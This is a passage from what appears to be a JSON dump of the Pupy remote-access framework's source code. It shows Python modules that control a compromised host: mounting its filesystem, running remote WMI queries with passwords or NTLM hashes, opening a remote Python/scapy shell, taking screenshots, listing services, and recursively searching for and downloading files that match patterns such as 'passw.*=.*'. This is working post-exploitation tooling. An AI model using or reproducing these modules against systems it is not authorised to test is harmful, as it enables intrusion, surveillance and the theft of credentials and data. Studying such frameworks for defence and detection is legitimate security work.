args):\n        search = self._method('search', args, False)\n\n        completed = Event()\n\n        self.interrupt_cb = search(\n            self._format_by_one, completed.set,\n            as_unicode_string(args.term, fail='convert'),\n            tuple(fix_key(x) for x in args.roots.split(',')),\n            args.exclude_key_name, args.exclude_value_name,\n            args.exclude_value,\n            args.regex, args.ignorecase,\n            args.first, args.equals\n        )\n\n        self.info('Searching...')\n        completed.wait()\n        self.info('Done')\n"
  },
  {
    "path": "pupy/modules/rfs.py",
    "content": "# -*- coding: utf-8 -*-\n\n# https://raw.githubusercontent.com/skorokithakis/python-fuse-sample/master/passthrough.py\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser, IgnoreModule\n\nimport os\nimport errno\nimport subprocess\n\nimport threading\nimport psutil\n\ntry:\n    import fuse\n    from fuse import FuseOSError, Operations\n\nexcept Exception as e:\n    raise IgnoreModule(e)\n\nclass PupyFUSE(fuse.FUSE):\n    ''' FUSE override SIGINT handler, which is bad. So ^C ^V without that '''\n\n    def __init__(self, operations, mountpoint, raw_fi=False, encoding='utf-8',\n                 **kwargs):\n\n        '''\n        Setting raw_fi to True will cause FUSE to pass the fuse_file_info\n        class as is to Operations, instead of just the fh field.\n\n        This gives you access to direct_io, keep_cache, etc.\n        '''\n\n        self.operations = operations\n        self.raw_fi = raw_fi\n        self.encoding = encoding\n\n        args = ['fuse']\n\n        args.extend(flag for arg, flag in self.OPTIONS\n                    if kwargs.pop(arg, False))\n\n        kwargs.setdefault('fsname', operations.__class__.__name__)\n        args.append('-o')\n        args.append(','.join(self._normalize_fuse_options(**kwargs)))\n        args.append(mountpoint)\n\n        args = [arg.encode(encoding) for arg in args]\n        argv = (fuse.c_char_p * len(args))(*args)\n\n        fuse_ops = fuse.fuse_operations()\n\n        for field in fuse.fuse_operations._fields_:\n            if len(field) == 3:\n                continue\n\n            name, prototype = field\n            if prototype != fuse.c_voidp and getattr(operations, name, None):\n                op = fuse.partial(self._wrapper, getattr(self, name))\n                setattr(fuse_ops, name, prototype(op))\n\n        self.args = args\n        self.fuse_ops = fuse_ops\n        self.argv = argv\n\n    def loop(self):\n        err = fuse._libfuse.fuse_main_real(\n            len(self.args), self.argv,\n            fuse.pointer(self.fuse_ops),\n            fuse.sizeof(self.fuse_ops), None)\n\n        del self.operations     # Invoke the destructor\n\n        if err:\n            raise RuntimeError(err)\n\nclass RFSManager(object):\n    def __init__(self):\n        self._mounts = {}\n        self._conn = None\n        self._pupsrv = None\n        self._rops = None\n\n    @property\n    def assigned(self):\n        return all([\n            self._conn, self._pupsrv, self._rops\n        ])\n\n    def assign(self, client):\n        self._conn = client.conn\n        self._pupsrv = client.pupsrv\n\n        opm_methos = ('join', 'sep', 'isdir', 'relpath')\n        om_stat = ('statvfs', 'lstat')\n\n        rops = RemoteOperations()\n        for om in RemoteOperations.__slots__:\n            if om in opm_methos or om in om_stat:\n                continue\n\n            setattr(rops, om, client.remote('os', om, False))\n\n        for opm in opm_methos:\n            setattr(rops, opm, client.remote('os.path', opm, False))\n\n        for oms in om_stat:\n            setattr(rops, oms, client.remote('pupyutils.basic_cmds', 'd'+oms))\n\n        self._rops = rops\n\n    def mount(self, rpath, lpath):\n\n        lpath = os.path.expanduser(lpath)\n        lpath = os.path.expandvars(lpath)\n        lpath = os.path.abspath(lpath)\n\n        if lpath in self._mounts:\n            raise ValueError('{} already mounted'.format(lpath))\n\n        self._mounts[lpath] = PupyFUSE(\n            PupyRFS(rpath, self._rops), lpath,\n            nothreads=True, foreground=True\n        )\n\n        self._mounts[lpath].cleanup = lambda: self.umount(lpath)\n\n        self._mounts[lpath].thread = threading.Thread(target=self._mounts[lpath].loop)\n        self._mounts[lpath].thread.daemon = True\n        self._mounts[lpath].thread.start()\n\n        self._conn.register_local_cleanup(self._mounts[lpath].cleanup)\n\n    def umount(self, lpath):\n        if lpath not in self._mounts:\n            raise ValueError('Unregistered mount point {}'.format(lpath))\n\n        for x in psutil.process_iter(['open_files']):\n            try:\n                pid, dirs = x.pid, set([\n                    os.path.abspath(y.path) for y in x.open_files()\n                ])\n\n                for d in dirs:\n                    if d == lpath or d.startswith(lpath+'/'):\n                        x.kill(pid)\n                        break\n\n            except psutil.AccessDenied:\n                pass\n\n        subprocess.check_call(['/usr/bin/fusermount', '-u', lpath])\n\n        self._conn.unregister_local_cleanup(self._mounts[lpath].cleanup)\n        del self._mounts[lpath]\n\n    @property\n    def mounts(self):\n        return {\n            x:y.operations.root for x,y in self._mounts.items()\n        }\n\n    def umountall(self):\n        for lpath in list(self._mounts):\n            self.umount(lpath)\n\nclass RemoteOperations(object):\n    __slots__ = (\n        'join',\n        'sep',\n        'isdir',\n        'relpath',\n\n        'access',\n        'chmod',\n        'chown',\n        'lstat',\n        'listdir',\n        'readlink',\n        'mknod',\n        'rmdir',\n        'mkdir',\n        'statvfs',\n        'unlink',\n        'symlink',\n        'rename',\n        'link',\n        'utime',\n\n        'open',\n        'read',\n        'lseek',\n        'write',\n        'ftruncate',\n        'fsync',\n        'close'\n    )\n\nclass PupyRFS(Operations):\n    def __init__(self, root, rops):\n        self.root = root\n        self.rops = rops\n\n    # Helpers\n    # =======\n\n    def _full_path(self, partial):\n        return self.root + self.rops.sep + self.rops.sep.join(\n            x for x in os.path.split(partial) if x\n        ).decode('utf-8')\n\n    # Filesystem methods\n    # ==================\n\n    def access(self, path, mode):\n        full_path = self._full_path(path)\n        if not self.rops.access(full_path, mode):\n            raise FuseOSError(errno.EACCES)\n\n    def chmod(self, path, mode):\n        full_path = self._full_path(path)\n        return self.rops.chmod(full_path, mode)\n\n    def chown(self, path, uid, gid):\n        full_path = self._full_path(path)\n        return self.rops.chown(full_path, uid, gid)\n\n    def getattr(self, path, fh=None):\n        full_path = self._full_path(path)\n        st = self.rops.lstat(full_path)\n\n        return dict((key, st.get(key)) for key in (\n            'st_atime', 'st_ctime',\n            'st_gid', 'st_mode', 'st_mtime', 'st_nlink',\n            'st_size', 'st_uid'))\n\n    def readdir(self, path, fh):\n        full_path = self._full_path(path)\n\n        dirents = [u'.', u'..']\n\n        if self.rops.isdir(full_path):\n            dirents.extend(self.rops.listdir(full_path))\n\n        for r in dirents:\n            yield r\n\n    def readlink(self, path):\n        pathname = self.rops.readlink(self._full_path(path))\n        if pathname.startswith(\"/\"):\n            # Path name is absolute, sanitize it.\n            return self.rops.relpath(pathname, self.root)\n        else:\n            return pathname\n\n    def mknod(self, path, mode, dev):\n        return self.rops.mknod(self._full_path(path), mode, dev)\n\n    def rmdir(self, path):\n        full_path = self._full_path(path)\n        return self.rops.rmdir(full_path)\n\n    def mkdir(self, path, mode):\n        return self.rops.mkdir(self._full_path(path), mode)\n\n    def statfs(self, path):\n        full_path = self._full_path(path)\n        stv = self.rops.statvfs(full_path)\n        return dict((key, stv.get(key)) for key in (\n            'f_bavail', 'f_bfree',\n            'f_blocks', 'f_bsize', 'f_favail',\n            'f_ffree', 'f_files', 'f_flag',\n            'f_frsize', 'f_namemax'))\n\n    def unlink(self, path):\n        return self.rops.unlink(self._full_path(path))\n\n    def symlink(self, name, target):\n        return self.rops.symlink(target, self._full_path(name))\n\n    def rename(self, old, new):\n        return self.rops.rename(self._full_path(old), self._full_path(new))\n\n    def link(self, target, name):\n        return self.rops.link(self._full_path(name), self._full_path(target))\n\n    def utimens(self, path, times=None):\n        return self.rops.utime(self._full_path(path), times)\n\n    # File methods\n    # ============\n\n    def open(self, path, flags):\n        full_path = self._full_path(path)\n        return self.rops.open(full_path, flags)\n\n    def create(self, path, mode, fi=None):\n        full_path = self._full_path(path)\n        return self.rops.open(full_path, os.O_WRONLY | os.O_CREAT, mode)\n\n    def read(self, path, length, offset, fh):\n        self.rops.lseek(fh, offset, os.SEEK_SET)\n        return self.rops.read(fh, length)\n\n    def write(self, path, buf, offset, fh):\n        self.rops.lseek(fh, offset, os.SEEK_SET)\n        return self.rops.write(fh, buf)\n\n    def truncate(self, path, length, fh=None):\n        full_path = self._full_path(path)\n        fd = self.rops.open(full_path, os.O_RDWR)\n        if fd != -1:\n            self.rops.ftruncate(fd, length)\n            self.rops.close(fd)\n\n    def flush(self, path, fh):\n        return self.rops.fsync(fh)\n\n    def release(self, path, fh):\n        return self.rops.close(fh)\n\n    def fsync(self, path, fdatasync, fh):\n        return self.flush(path, fh)\n\n__class_name__ = 'RemoteFS'\n\n@config(cat=\"admin\")\nclass RemoteFS(PupyModule):\n    ''' Mount remote FS as Fuse FS to mountpoint '''\n\n    dependencies = ['pupyutils.basic_cmds']\n\n    @classmethod\n    def init_argparse(cls):\n        parser = PupyArgumentParser(prog='rfs', description=cls.__doc__)\n        commands = parser.add_subparsers(dest='command')\n\n        mount = commands.add_parser('mount')\n        mount.add_argument('src', help='Remote directory')\n        mount.add_argument('dest', help='Local mount point')\n        mount.set_defaults(func=cls.mount)\n\n        umount = commands.add_parser('umount')\n        umount.add_argument('dest', help='Local mount point')\n        umount.set_defaults(func=cls.umount)\n\n        mlist = commands.add_parser('list')\n        mlist.set_defaults(func=cls.list)\n\n        cls.arg_parser = parser\n\n    def run(self, args):\n        manager = self.client.conn.single(RFSManager)\n        if not manager.assigned:\n            manager.assign(self.client)\n\n        args.func(self, args, manager)\n\n    def mount(self, args, manager):\n        manager.mount(args.src, args.dest)\n\n    def umount(self, args, manager):\n        manager.umount(args.dest)\n\n    def list(self, args, manager):\n        for src,dst in manager.mounts.items():\n            self.info('{} -> {}'.format(src, dst))\n"
  },
  {
    "path": "pupy/modules/rm.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyCompleter import remote_path_completer\n\nif sys.version_info.major > 2:\n    basestring = str\n\n__class_name__ = 'rm'\n\n\n@config(cat=\"admin\")\nclass rm(PupyModule):\n    \"\"\" remove a file or a directory \"\"\"\n\n    is_module = False\n    dependencies = ['pupyutils.basic_cmds']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"rm\", description=cls.__doc__)\n        cls.arg_parser.add_argument(\n            'path', type=str, action='store',\n            completer=remote_path_completer\n        )\n\n    def run(self, args):\n        try:\n            rm = self.client.remote('pupyutils.basic_cmds', 'rm', False)\n\n            r = rm(args.path)\n            if r:\n                self.log(r)\n        except Exception as e:\n            self.error(\n                ' '.join(x for x in e.args if isinstance(x, basestring))\n            )\n"
  },
  {
    "path": "pupy/modules/rwmic.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom argparse import REMAINDER\n\nimport sys\n\nfrom netaddr import IPNetwork\n\nfrom pupy.pupylib.PupyOutput import Table, List\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\n\nif sys.version_info.major > 2:\n    basestring = str\n\n__class_name__ = 'RWMIC'\n\n\ndef _stringify(x):\n    if isinstance(x, basestring):\n        return x\n    elif isinstance(x, (list, tuple)):\n        return ';'.join(_stringify(y) for y in x)\n    elif type(x) is None:\n        return ''\n    else:\n        return str(x)\n\n\n@config(category='admin')\nclass RWMIC(PupyModule):\n    ''' Remote WMI query using WQL '''\n\n    dependencies = [\n        'unicodedata', 'idna', 'encodings.idna',\n        'impacket', 'ntpath',\n        'calendar', 'pupyutils.psexec'\n    ]\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"rwmic\", description=cls.__doc__)\n        cls.arg_parser.add_argument(\"-u\", metavar=\"USERNAME\", dest='user', default='',\n                                    help=\"Username, if omitted null session assumed\")\n        cls.arg_parser.add_argument(\"-p\", metavar=\"PASSWORD\", dest='passwd', default='', help=\"Password\")\n        cls.arg_parser.add_argument(\"-H\", metavar=\"HASH\", dest='hash', default='', help='NTLM hash')\n        cls.arg_parser.add_argument(\"-d\", metavar=\"DOMAIN\", dest='domain', default=\"WORKGROUP\",\n                                    help=\"Domain name (default WORKGROUP)\")\n        cls.arg_parser.add_argument(\"-s\", metavar=\"SHARE\", dest='share', default=\"C$\",\n                                    help=\"Specify a share (default C$)\")\n        cls.arg_parser.add_argument(\"-S\", dest='noout', action='store_true', help=\"Do not wait for command output\")\n        cls.arg_parser.add_argument(\"-T\", metavar=\"TIMEOUT\", dest='timeout', default=30, type=int,\n                                    help=\"Try to set this timeout\")\n        cls.arg_parser.add_argument(\"--port\", dest='port', type=int, choices={135, 445}, default=135,\n                                    help=\"RMI port (default 135)\")\n        cls.arg_parser.add_argument(\"target\", nargs=1, type=str, help=\"The target range or CIDR identifier\")\n\n        cls.arg_parser.add_argument('query', nargs=REMAINDER)\n\n    def run(self, args):\n        wql = self.client.remote('pupyutils.psexec', 'wql')\n        if args.query:\n            cmdline = ' '.join(args.query)\n\n        else:\n            cmdline = 'SELECT DatabaseDirectory,BuildVersion,LoggingDirectory '\\\n              'FROM Win32_WMISetting'\n\n        if \"/\" in args.target[0]:\n            hosts = IPNetwork(args.target[0])\n        else:\n            hosts = list()\n            hosts.append(args.target[0])\n\n        for host in hosts:\n            try:\n                columns, values = wql(\n                    str(host), args.port,\n                    args.user,  args.domain,\n                    args.passwd, args.hash,\n                    cmdline, args.timeout\n                )\n\n                if not columns:\n                    return\n                elif len(columns) == 1:\n                    self.log(List(list(\n                        _stringify(x[0]) for x in values), caption=columns[0]))\n                else:\n                    if not values:\n                        return\n\n                    elif len(values) == 1:\n                        records = [\n                            {\n                                'KEY': column,\n                                'VALUE': _stringify(values[0][idx])\n                            } for idx, column in enumerate(columns)\n                        ]\n                        self.log(Table(records, ['KEY', 'VALUE']))\n                    else:\n                        records = [\n                            {\n                                column: _stringify(value[idx]) for\n                                idx, column in enumerate(columns)\n                            } for value in values\n                        ]\n                        self.log(Table(records, columns))\n\n            except Exception as e:\n                self.error(e)\n"
  },
  {
    "path": "pupy/modules/scapy_shell.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nimport readline\n\nfrom pupy.modules.lib.windows.winpcap import init_winpcap\nfrom pupy.pupylib.utils.rpyc_utils import redirected_stdo\nfrom pupy.pupylib.PupyModule import (\n    config, PupyModule, PupyArgumentParser, QA_DANGEROUS\n)\n\nif sys.version_info.major > 2:\n    raw_input = input\n\n__class_name__=\"InteractiveScapyShell\"\n\n\ndef enqueue_output(out, queue):\n    for c in iter(lambda: out.read(1), b\"\"):\n        queue.put(c)\n\n@config(cat=\"admin\")\nclass InteractiveScapyShell(PupyModule):\n    \"\"\" open an interactive python shell on the remote client \"\"\"\n\n    max_clients=1\n    dependencies=['pyshell']\n    qa = QA_DANGEROUS\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='scapy', description=cls.__doc__)\n\n    def run(self, args):\n        init_winpcap(self.client)\n        self.client.load_package('scapy', honor_ignore=False, force=True)\n\n        try:\n            with redirected_stdo(self):\n                old_completer = readline.get_completer()\n                try:\n                    psc=self.client.conn.modules['pyshell.controller'].PyShellController()\n                    readline.set_completer(psc.get_completer())\n                    readline.parse_and_bind('tab: complete')\n                    psc.write(\"from scapy.all import *\")\n                    while True:\n                        cmd=raw_input(\">>> \")\n                        psc.write(cmd)\n                finally:\n                    readline.set_completer(old_completer)\n                    readline.parse_and_bind('tab: complete')\n        except KeyboardInterrupt:\n            pass\n"
  },
  {
    "path": "pupy/modules/screenshot.py",
    "content": "# -*- coding: utf-8 -*-\n\n# --------------------------------------------------------------\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# 3. Neither the name of the copyright holder nor the names of its contributors\n# may be used to endorse or promote products derived from this software without\n# specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE\n# --------------------------------------------------------------\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyConfig import PupyConfig\n\nimport os\nimport subprocess\n\nfrom io import open\n\n__class_name__=\"Screenshoter\"\n\n\n@config(cat=\"gather\",compatibilities=['windows', 'linux', 'darwin', 'solaris'])\nclass Screenshoter(PupyModule):\n    \"\"\" take a screenshot :) \"\"\"\n\n    dependencies = [\n        'mss', 'screenshot', 'png'\n    ]\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='screenshot', description=cls.__doc__)\n        cls.arg_parser.add_argument('-e', '--enum', action='store_true', help='enumerate screen')\n        cls.arg_parser.add_argument('-s', '--screen', type=int, default=None, help='take a screenshot on a specific screen (default all screen on one screenshot)')\n        cls.arg_parser.add_argument('-v', '--view', action='store_true', help='directly open the default image viewer on the screenshot for preview')\n\n    def run(self, args):\n        screens = self.client.remote('screenshot', 'screens')\n        screenshot = self.client.remote('screenshot', 'screenshot')\n\n        if self.client.is_android():\n            self.error(\"Android target, not implemented yet...\")\n\n        else:\n            if args.enum:\n                self.rawlog('{:>2} {:>9} {:>9}\\n'.format('IDX', 'SIZE', 'LEFT'))\n                for i, screen in enumerate(screens()):\n                    if not (screen['width'] and screen['height']):\n                        continue\n\n                    self.rawlog('{:>2}: {:>9} {:>9}\\n'.format(\n                        i,\n                        '{}x{}'.format(screen['width'], screen['height']),\n                        '({}x{})'.format(screen['top'], screen['left'])))\n                return\n\n            config = self.client.pupsrv.config or PupyConfig()\n            filepath_base = config.get_file('screenshots', {'%c': self.client.short_name()})\n\n            try:\n                screenshots, error = screenshot(args.screen)\n            except Exception as e:\n                self.error('Impossible to take a screenshot (\"{0}\"). Abording...'.format(e))\n                return -1\n            if not screenshots:\n                self.error(error)\n                return -1\n            else:\n                self.success('number of monitor detected: %s' % str(len(screenshots)))\n\n                for i, screenshot in enumerate(screenshots):\n                    filepath = filepath_base + '-{}.png'.format(i)\n                    with open(filepath, 'wb') as out:\n                        out.write(screenshot)\n                        self.success(filepath)\n\n                    if args.view:\n                        viewer = config.get('default_viewers', 'image_viewer') or 'xdg-open'\n\n                        found = False\n                        for p in os.environ.get('PATH', '').split(':'):\n                            if os.path.exists(os.path.join(p, viewer)):\n                                with open(os.devnull, 'wb') as DEVNULL:\n                                    subprocess.Popen(\n                                        [viewer, filepath],\n                                        stdin=DEVNULL, stdout=DEVNULL, stderr=DEVNULL)\n\n                                found = True\n                                break\n\n                        if not found:\n                            self.error('Default viewer not found: %s' % viewer)\n"
  },
  {
    "path": "pupy/modules/search.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyCompleter import remote_path_completer\nfrom pupy.modules.lib.utils.download import DownloadFronted\n\nfrom os import path\nfrom threading import Event\nfrom datetime import datetime\n\nimport dateparser\n\n__class_name__ = 'SearchModule'\n\n\n@config(cat=\"gather\")\nclass SearchModule(PupyModule):\n    \"\"\" walk through a directory and recursively search a string into files \"\"\"\n    dependencies = {\n        'all': [\n            'pupyutils.search', 'scandir', 'transfer',\n            'zipfile', 'tarfile', 'fsutils', 'scandir'\n        ],\n        'windows': ['junctions', 'ntfs_streams', 'pupwinutils', '_scandir'],\n        'linux': ['xattr', '_scandir']\n    }\n\n    terminate = None\n\n    @classmethod\n    def init_argparse(cls):\n        example = 'Examples:\\n'\n        example += '- Recursively search strings in files:\\n'\n        example += '>> run search -C .*ini passw.*=.*\\n'\n        example += '>> run search -C .* passw.*=.* -I\\n'\n        example += '- Recursively search string in file names:\\n'\n        example += '>> run search pwdfile.*\\n'\n\n        cls.arg_parser = PupyArgumentParser(\n            prog=\"search\", description=cls.__doc__, epilog=example\n        )\n        cls.arg_parser.add_argument(\n            '-p', '--path', default='.',\n            completer=remote_path_completer,\n            help='root path to start (default: current path)'\n        )\n        cls.arg_parser.add_argument(\n            '-m', '--max-size', type=int, default=20000000,\n            help='max file size (default 20 Mo)'\n        )\n        cls.arg_parser.add_argument(\n            '-b', '--binary', action='store_true',\n            help='search content inside binary files'\n        )\n        cls.arg_parser.add_argument(\n            '-v', '--verbose', action='store_true', help='show errors'\n        )\n        cls.arg_parser.add_argument(\n            '-C', '--content-only', action='store_true',\n            help='show only results with content'\n        )\n        cls.arg_parser.add_argument(\n            '-L', '--links', action='store_true', help='follow symlinks'\n        )\n        cls.arg_parser.add_argument(\n            '-N', '--no-content', action='store_true',\n            help='if string matches, output just filename'\n        )\n        cls.arg_parser.add_argument(\n            '-I', '--insensitive', action='store_true', default=False,\n            help='no case sensitive'\n        )\n        cls.arg_parser.add_argument(\n            '-F', '--no-same-fs', action='store_true', default=False,\n            help='do not limit search to same fs'\n        )\n\n        cls.arg_parser.add_argument(\n            '-D', '--download', action='store_true',\n            help='download found files'\n        )\n        cls.arg_parser.add_argument(\n            '-A', '--archive', action='store_true', default=False,\n            help='search in archive'\n        )\n\n        cls.arg_parser.add_argument(\n            '-U', '--suid', action='store_true', default=False,\n            help='Search SUID files'\n        )\n        cls.arg_parser.add_argument(\n            '-G', '--sgid', action='store_true', default=False,\n            help='Search SGID files'\n        )\n        cls.arg_parser.add_argument(\n            '-u', '--user', help='Search files owned by user'\n        )\n        cls.arg_parser.add_argument(\n            '-g', '--group', help='Search files owned by group'\n        )\n        cls.arg_parser.add_argument(\n            '-O', '--own-world-accessible-write', action='store_true',\n            help='Search accessible files for current process (write)'\n        )\n        cls.arg_parser.add_argument(\n            '-t', '--timestamp-newer',\n            help='Search files which are newer than date'\n        )\n        cls.arg_parser.add_argument(\n            '-T', '--timestamp-older',\n            help='Search files which are older than date'\n        )\n        cls.arg_parser.add_argument(\n            '-X', '--xattr', default=False, nargs='?',\n            help='Search files with extended attributes (can be specified)'\n        )\n\n        cls.arg_parser.add_argument(\n            'filename', metavar='filename',\n            help='regex to search (filename)'\n        )\n        cls.arg_parser.add_argument(\n            'strings', nargs='*', default=[], metavar='string',\n            help='regex to search (content)'\n        )\n\n    def run(self, args):\n        search = self.client.remote('pupyutils.search')\n\n        newer = None\n        older = None\n\n        if args.timestamp_newer:\n            try:\n                newer = datetime.fromtimestamp(int(args.timestamp_newer))\n            except ValueError:\n                newer = dateparser.parse(args.timestamp_newer)\n\n            newer = int((newer - datetime.fromtimestamp(0)).total_seconds())\n\n        if args.timestamp_older:\n            try:\n                older = datetime.fromtimestamp(int(args.timestamp_older))\n            except ValueError:\n                older = dateparser.parse(args.timestamp_older)\n\n            older = int((older - datetime.fromtimestamp(0)).total_seconds())\n\n        s = search.Search(\n            args.filename,\n            strings=tuple(args.strings) if args.strings else None,\n            max_size=args.max_size,\n            root_path=args.path,\n            follow_symlinks=args.links,\n            no_content=args.no_content,\n            case=args.insensitive,\n            binary=args.binary,\n            same_fs=not args.no_same_fs,\n            search_in_archives=args.archive,\n            content_only=args.content_only,\n            suid=args.suid,\n            sgid=args.sgid,\n            user=args.user,\n            group=args.group,\n            owaw=args.own_world_accessible_write,\n            newer=newer,\n            older=older,\n            xattr=args.xattr if args.xattr else args.xattr is not False\n        )\n\n        if args.download:\n            config = self.client.pupsrv.config\n            download_folder = config.get_folder(\n                'searches', {\n                    '%c': self.client.short_name()\n                }\n            )\n\n            downloader = DownloadFronted(\n                self.client,\n                honor_single_file_root=True,\n                error=self.error\n            )\n\n            on_downloader_data, on_downloader_completed = \\\n                downloader.create_download_callback(download_folder)\n\n            downloaded_files = set()\n\n            def on_data(res):\n                printer = self.success\n\n                file_to_download = res\n\n                if type(res) == tuple:\n                    file_to_download, _ = res\n\n                if file_to_download in downloaded_files:\n                    return\n\n                details = path.sep.join([\n                    download_folder, file_to_download\n                ])\n\n                downloaded_files.add(file_to_download)\n\n                try:\n                    on_downloader_data(file_to_download)\n\n                except Exception as e:\n                    printer = self.error\n                    details = str(e)\n\n                printer(\n                    'Download {} -> {}'.format(file_to_download, details)\n                )\n\n            def on_completed():\n                self.success('Search completed, finish download engine')\n                on_downloader_completed()\n\n            self.terminate = downloader.interrupt\n            self.info('Search+Download started. Use ^C to interrupt')\n            s.run_cbs(on_data, on_completed, self.error)\n            downloader.process()\n            self.success('Search+Download completed')\n\n        else:\n            terminate = Event()\n\n            def on_data(res):\n                if terminate.is_set():\n                    return\n\n                if type(res) == tuple:\n                    f, v = res\n                    self.success('{}: {}'.format(f, v))\n                else:\n                    self.success(res)\n\n            def on_completed():\n                terminate.set()\n                self.info('complete')\n\n            self.terminate = terminate.set\n            self.info('Search started. Use ^C to interrupt')\n\n            error = self.error\n            if not args.verbose:\n                def error(x):\n                    pass\n\n            s.run_cb(on_data, on_completed, error)\n            terminate.wait()\n            s.stop()\n\n    def interrupt(self):\n        if self.terminate:\n            self.terminate()\n"
  },
  {
    "path": "pupy/modules/services.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Color, TruncateToTerm, Table\n\n__class_name__=\"Services\"\n\nADMINS = (r'NT AUTHORITY\\SYSTEM', 'LOCALSYSTEM', 'root')\nLIKELY_KNOWN = (\n    'svchost.exe', 'lsass.exe', 'spoolsv.exe', 'TrustedInstaller.exe',\n    'wmpnetwk.exe', 'SearchIndexer.exe'\n)\n\n@config(cat='admin', compat=['windows','linux'])\nclass Services(PupyModule):\n    \"\"\" list services \"\"\"\n\n    dependencies = {\n        'windows': ['pupyps'],\n        'linux': ['dbus', 'services']\n    }\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"services\", description=cls.__doc__)\n        cls.arg_parser.add_argument('-i', '--info', action='store_true', help='Show more info')\n        cls.arg_parser.add_argument('-a', '--all', action='store_true', help='Show all services')\n        cls.arg_parser.add_argument('-D', '--display-name', action='store_true',\n                                    help='Show display name instead of name')\n\n    def run(self, args):\n        is_linux = False\n\n        if self.client.is_linux():\n            get_services = self.client.remote('services', 'get_services_systemd')\n            is_linux = True\n        elif self.client.is_windows():\n            get_services = self.client.remote('pupyps', 'get_win_services')\n        else:\n            raise ValueError('Unsupported target')\n\n        services = get_services()\n\n        columns = [('pid', 'PID'), ('name', 'SERVICE'), ('binpath', 'PATH')]\n        if args.info:\n            columns = [('pid', 'PID'), ('name', 'SERVICE'), ('username', 'USER'), ('binpath', 'PATH')]\n\n        if args.display_name:\n            columns = [\n                x if x[0] != 'name' else ('display_name', 'SERVICE') for x in columns\n            ]\n\n        data = []\n\n        for service in services:\n\n            username = service.get('username')\n            status = service.get('status')\n            binpath = service.get('binpath')\n\n            color = None\n            if not status == 'running':\n                if not args.all:\n                    continue\n\n                color = 'grey'\n            elif all([x not in binpath for x in LIKELY_KNOWN]) and not is_linux:\n                color = 'cyan'\n                if username.upper() in ADMINS:\n                    color = 'lightyellow'\n\n            if color is not None:\n                service = {\n                    k:Color(v if v is not None else '', color) for k,v in service.items()\n                }\n\n            data.append(service)\n\n\n        self.log(TruncateToTerm(Table(data, columns)))\n"
  },
  {
    "path": "pupy/modules/shares.py",
